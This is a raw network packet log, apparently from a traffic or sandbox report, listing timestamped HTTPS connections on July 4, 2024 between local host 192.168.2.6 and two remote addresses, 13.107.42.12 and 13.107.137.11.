Jul 4, 2024 20:17:17.121903896 CEST	443	49794	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:17.122020006 CEST	49794	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:17.123198986 CEST	49794	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:17.124735117 CEST	49795	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:17.124783993 CEST	443	49795	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:17.124963999 CEST	49795	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:17.125272036 CEST	49795	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:17.125288010 CEST	443	49795	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:17.765352011 CEST	443	49795	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:17.767252922 CEST	49795	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:17.767271996 CEST	443	49795	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:18.471040010 CEST	443	49795	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:18.471126080 CEST	49795	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:18.471127033 CEST	443	49795	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:18.471174955 CEST	49795	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:18.471676111 CEST	49795	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:18.472826958 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:18.472872972 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:18.472964048 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:18.473172903 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:18.473187923 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.095609903 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.097001076 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.097037077 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.275209904 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.275235891 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.275300980 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.275327921 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.275626898 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.275685072 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.275695086 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.276452065 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.276530027 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.276539087 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.276582956 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.368501902 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.368575096 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.368585110 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.369218111 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.369281054 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.369287968 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.370723009 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.370779991 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.370786905 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.371696949 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.371759892 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.371767044 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.426942110 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.461744070 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.461755037 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.461806059 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.461817026 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.462423086 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.462462902 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.462476015 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.462483883 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.462518930 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.463037968 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.463092089 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.463099003 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.463139057 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.463824034 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.463885069 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.463892937 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.464641094 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.464705944 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.464711905 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.464871883 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.464931011 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.464937925 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.465739965 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.465796947 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.465804100 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.466530085 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.466578007 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.466584921 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.520714045 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.555376053 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.555383921 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.555496931 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.555505037 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.555735111 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.555775881 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.555814028 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.555821896 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.555845976 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.556077003 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.556138039 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.556144953 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.556502104 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.556557894 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.556564093 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.556914091 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.556968927 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.556977034 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.557204962 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.557257891 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.557265997 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.557858944 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.557924986 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.557931900 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.558036089 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.558084965 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.558092117 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.558656931 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.558722019 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.558729887 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.559061050 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.559125900 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.559133053 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.559665918 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.559715986 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.559722900 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.559731960 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.559772015 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.559777975 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.559798002 CEST	443	49796	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:19.559839964 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.560216904 CEST	49796	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:19.571640015 CEST	49797	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:19.571676970 CEST	443	49797	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:19.571732998 CEST	49797	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:19.571994066 CEST	49797	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:19.572009087 CEST	443	49797	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:20.342392921 CEST	443	49797	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:20.344054937 CEST	49797	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:20.344074965 CEST	443	49797	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:20.473474026 CEST	443	49797	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:20.473534107 CEST	443	49797	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:20.473597050 CEST	49797	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:20.474015951 CEST	49797	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:20.475408077 CEST	49798	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:20.475438118 CEST	443	49798	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:20.475569010 CEST	49798	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:20.475795984 CEST	49798	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:20.475809097 CEST	443	49798	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:21.095113039 CEST	443	49798	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:21.096638918 CEST	49798	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:21.096659899 CEST	443	49798	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:21.318420887 CEST	49798	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:21.318523884 CEST	443	49798	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:21.318583012 CEST	49798	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:21.321815014 CEST	49799	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:21.321871042 CEST	443	49799	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:21.321922064 CEST	49799	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:21.322325945 CEST	49799	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:21.322339058 CEST	443	49799	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:21.915432930 CEST	443	49799	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:21.923932076 CEST	49799	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:21.923985958 CEST	443	49799	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:22.081909895 CEST	443	49799	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:22.081995964 CEST	443	49799	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:22.082076073 CEST	49799	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:22.082583904 CEST	49799	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:22.084075928 CEST	49800	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:22.084105015 CEST	443	49800	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:22.084173918 CEST	49800	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:22.084430933 CEST	49800	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:22.084445953 CEST	443	49800	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:22.692208052 CEST	443	49800	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:22.692436934 CEST	49800	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:22.696036100 CEST	49800	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:22.696099043 CEST	443	49800	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:22.696357012 CEST	443	49800	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:22.697829008 CEST	49800	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:22.744503975 CEST	443	49800	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:23.758872032 CEST	443	49800	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:23.758941889 CEST	49800	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:23.758960009 CEST	443	49800	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:23.759006023 CEST	49800	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:23.760081053 CEST	49800	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:23.761960030 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:23.761996031 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:23.762062073 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:23.762391090 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:23.762403965 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.374871969 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.377295017 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.377326965 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.539999962 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.540040016 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.540194988 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.540214062 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.540302992 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.540803909 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.540812969 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.540879011 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.540888071 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.541568041 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.541630983 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.541646957 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.541779041 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.630080938 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.630172014 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.630184889 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.630954027 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.631038904 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.631046057 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.631808043 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.631916046 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.631922960 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.632736921 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.632869959 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.632878065 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.676968098 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.719932079 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.719945908 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.720000029 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.720033884 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.720150948 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.720172882 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.720293045 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.720882893 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.721009016 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.721018076 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.721172094 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.721376896 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.721384048 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.721955061 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.722043991 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.722049952 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.722755909 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.722881079 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.722891092 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.723635912 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.723751068 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.723758936 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.723907948 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.723956108 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.723963022 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.770725965 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.812844038 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.812974930 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.812990904 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.813469887 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.813571930 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.813580036 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.813673973 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.813767910 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.813775063 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.814143896 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.814281940 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.814292908 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.814418077 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.814585924 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.814594030 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.814856052 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.814958096 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.814971924 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.815408945 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.815536976 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.815543890 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.815738916 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.815876961 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.815884113 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.816309929 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.816452026 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.816458941 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.816634893 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.816766977 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.816773891 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.816844940 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.816941023 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.816947937 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.817346096 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.817450047 CEST	443	49801	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:24.817554951 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.819643974 CEST	49801	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:24.828527927 CEST	49802	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:24.828552961 CEST	443	49802	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:24.828721046 CEST	49802	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:24.831773996 CEST	49802	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:24.831784964 CEST	443	49802	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:25.414161921 CEST	443	49802	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:25.416784048 CEST	49802	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:25.416820049 CEST	443	49802	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:25.536362886 CEST	443	49802	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:25.536433935 CEST	443	49802	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:25.536489964 CEST	49802	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:25.537333012 CEST	49802	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:25.539310932 CEST	49803	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:25.539351940 CEST	443	49803	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:25.539418936 CEST	49803	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:25.539709091 CEST	49803	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:25.539720058 CEST	443	49803	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:25.630448103 CEST	49803	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:25.632302999 CEST	49804	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:25.632356882 CEST	443	49804	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:25.632416010 CEST	49804	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:25.632755041 CEST	49804	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:25.632771015 CEST	443	49804	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:25.676501036 CEST	443	49803	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:26.144603014 CEST	443	49803	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:26.144670010 CEST	49803	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:26.225099087 CEST	443	49804	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:26.227121115 CEST	49804	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:26.227152109 CEST	443	49804	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:26.390003920 CEST	443	49804	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:26.390074968 CEST	443	49804	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:26.390188932 CEST	49804	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:26.390578032 CEST	49804	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:26.391904116 CEST	49805	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:26.391947985 CEST	443	49805	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:26.392040968 CEST	49805	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:26.392513037 CEST	49805	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:26.392524958 CEST	443	49805	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:27.012219906 CEST	443	49805	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:27.012368917 CEST	49805	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:27.014075041 CEST	49805	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:27.014086008 CEST	443	49805	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:27.014312029 CEST	443	49805	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:27.018598080 CEST	49805	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:27.060503960 CEST	443	49805	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:27.996572971 CEST	443	49805	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:27.996638060 CEST	49805	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:27.996666908 CEST	443	49805	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:27.996757984 CEST	443	49805	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:27.996800900 CEST	49805	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:27.997448921 CEST	49805	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:27.998842001 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:27.998888969 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:27.998954058 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:27.999214888 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:27.999227047 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.630775928 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.634829998 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:28.634865999 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.818486929 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.818517923 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.818653107 CEST	49806	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:28.818686962 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.819056988 CEST	443	49806	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:28.819165945 CEST	49806	443	192.168.2.6	13.107.137.11
